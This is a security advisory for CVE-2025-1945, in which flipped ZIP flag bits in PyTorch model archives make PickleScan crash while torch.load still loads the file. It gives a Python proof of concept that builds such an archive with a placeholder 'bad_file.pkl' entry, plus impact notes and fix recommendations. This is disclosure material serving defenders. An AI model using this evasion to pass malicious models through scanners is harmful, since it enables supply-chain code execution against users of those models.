ghsa-w8jq-xcqf-f792
Vulnerability from github
Published
2025-03-10 18:26
Modified
2025-04-09 20:13
Summary
Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch
Details

Summary

PickleScan fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.

Details

PickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.

By modifying the flag_bits field in the ZIP file entry, an attacker can:

  • Embed a malicious pickle file (bad_file.pkl) in a PyTorch model archive.
  • Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata.
  • Prevent PickleScan from scanning the archive due to errors raised by zipfile.
  • Successfully load the model with torch.load(), which ignores the flag modifications.

This technique effectively bypasses PickleScan's security checks while maintaining model functionality.

PoC

``` import os import zipfile import torch from picklescan import cli

def can_scan(zip_file): try: cli.print_summary(False, cli.scan_file_path(zip_file)) return True except Exception: return False

bit_to_flip = 0x1 # Change to 0x20 or 0x40 to test different flag bits

zip_file = "model.pth" model = {'a': 1, 'b': 2, 'c': 3} torch.save(model, zip_file)

with zipfile.ZipFile(zip_file, "r") as source: flipped_name = f"flipped_{bit_to_flip}_{zip_file}" with zipfile.ZipFile(flipped_name, "w") as dest: bad_file = zipfile.ZipInfo("model/bad_file.pkl")

    # Modify the ZIP flag bits
    bad_file.flag_bits |= bit_to_flip

    dest.writestr(bad_file, b"bad content")
    for item in source.infolist():
        dest.writestr(item, source.read(item.filename))

if model == torch.load(flipped_name, weights_only=False): if not can_scan(flipped_name): print('Found exploitable bit:', bit_to_flip) else: os.remove(flipped_name) ```

Impact

Severity: High

  • Who is impacted? Any organization or user relying on PickleScan to detect malicious pickle files inside PyTorch models.
  • What is the impact? Attackers can embed malicious pickle payloads inside PyTorch models that evade PickleScan's detection but still execute upon loading.
  • Potential Exploits: This vulnerability could be exploited in machine learning supply chain attacks, allowing attackers to distribute backdoored models on platforms like Hugging Face or PyTorch Hub.

Recommendations

  • Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits.
  • Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.

By addressing these issues, PickleScan can provide stronger protection against manipulated PyTorch model archives.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-1945"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-10T18:26:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPickleScan fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch\u0027s torch.load(). This can lead to arbitrary code execution when loading a compromised model.\n\n### Details\n\nPickleScan relies on Python\u2019s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch\u2019s loading mechanism unaffected.\n\nBy modifying the flag_bits field in the ZIP file entry, an attacker can:\n\n- Embed a malicious pickle file (bad_file.pkl) in a PyTorch model archive.\n- Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata.\n- Prevent PickleScan from scanning the archive due to errors raised by zipfile.\n- Successfully load the model with torch.load(), which ignores the flag modifications.\n\nThis technique effectively bypasses PickleScan\u0027s security checks while maintaining model functionality.\n\n### PoC\n```\nimport os\nimport zipfile\nimport torch\nfrom picklescan import cli\n\ndef can_scan(zip_file):\n    try:\n        cli.print_summary(False, cli.scan_file_path(zip_file))\n        return True\n    except Exception:\n        return False\n\nbit_to_flip = 0x1  # Change to 0x20 or 0x40 to test different flag bits\n\nzip_file = \"model.pth\"\nmodel = {\u0027a\u0027: 1, \u0027b\u0027: 2, \u0027c\u0027: 3}\ntorch.save(model, zip_file)\n\nwith zipfile.ZipFile(zip_file, \"r\") as source:\n    flipped_name = f\"flipped_{bit_to_flip}_{zip_file}\"\n    with zipfile.ZipFile(flipped_name, \"w\") as dest:\n        bad_file = zipfile.ZipInfo(\"model/bad_file.pkl\")\n        \n        # Modify the ZIP flag bits\n        bad_file.flag_bits |= bit_to_flip\n        \n        dest.writestr(bad_file, b\"bad content\")\n        for item in source.infolist():\n            dest.writestr(item, source.read(item.filename))\n\nif model == torch.load(flipped_name, weights_only=False):\n    if not can_scan(flipped_name):\n        print(\u0027Found exploitable bit:\u0027, bit_to_flip)\nelse:\n    os.remove(flipped_name)\n```\n\n### Impact\n\nSeverity: `High`\n\n- Who is impacted? Any organization or user relying on PickleScan to detect malicious pickle files inside PyTorch models.\n- What is the impact? Attackers can embed malicious pickle payloads inside PyTorch models that evade PickleScan\u0027s detection but still execute upon loading.\n- Potential Exploits: This vulnerability could be exploited in machine learning supply chain attacks, allowing attackers to distribute backdoored models on platforms like Hugging Face or PyTorch Hub.\n\n### Recommendations\n\n- Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits.\n- Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.\n\nBy addressing these issues, PickleScan can provide stronger protection against manipulated PyTorch model archives.",
  "id": "GHSA-w8jq-xcqf-f792",
  "modified": "2025-04-09T20:13:19Z",
  "published": "2025-03-10T18:26:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-w8jq-xcqf-f792"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1945"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-21.yaml"
    },
    {
      "type": "WEB",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1945"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading...

Loading...

Loading...
  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.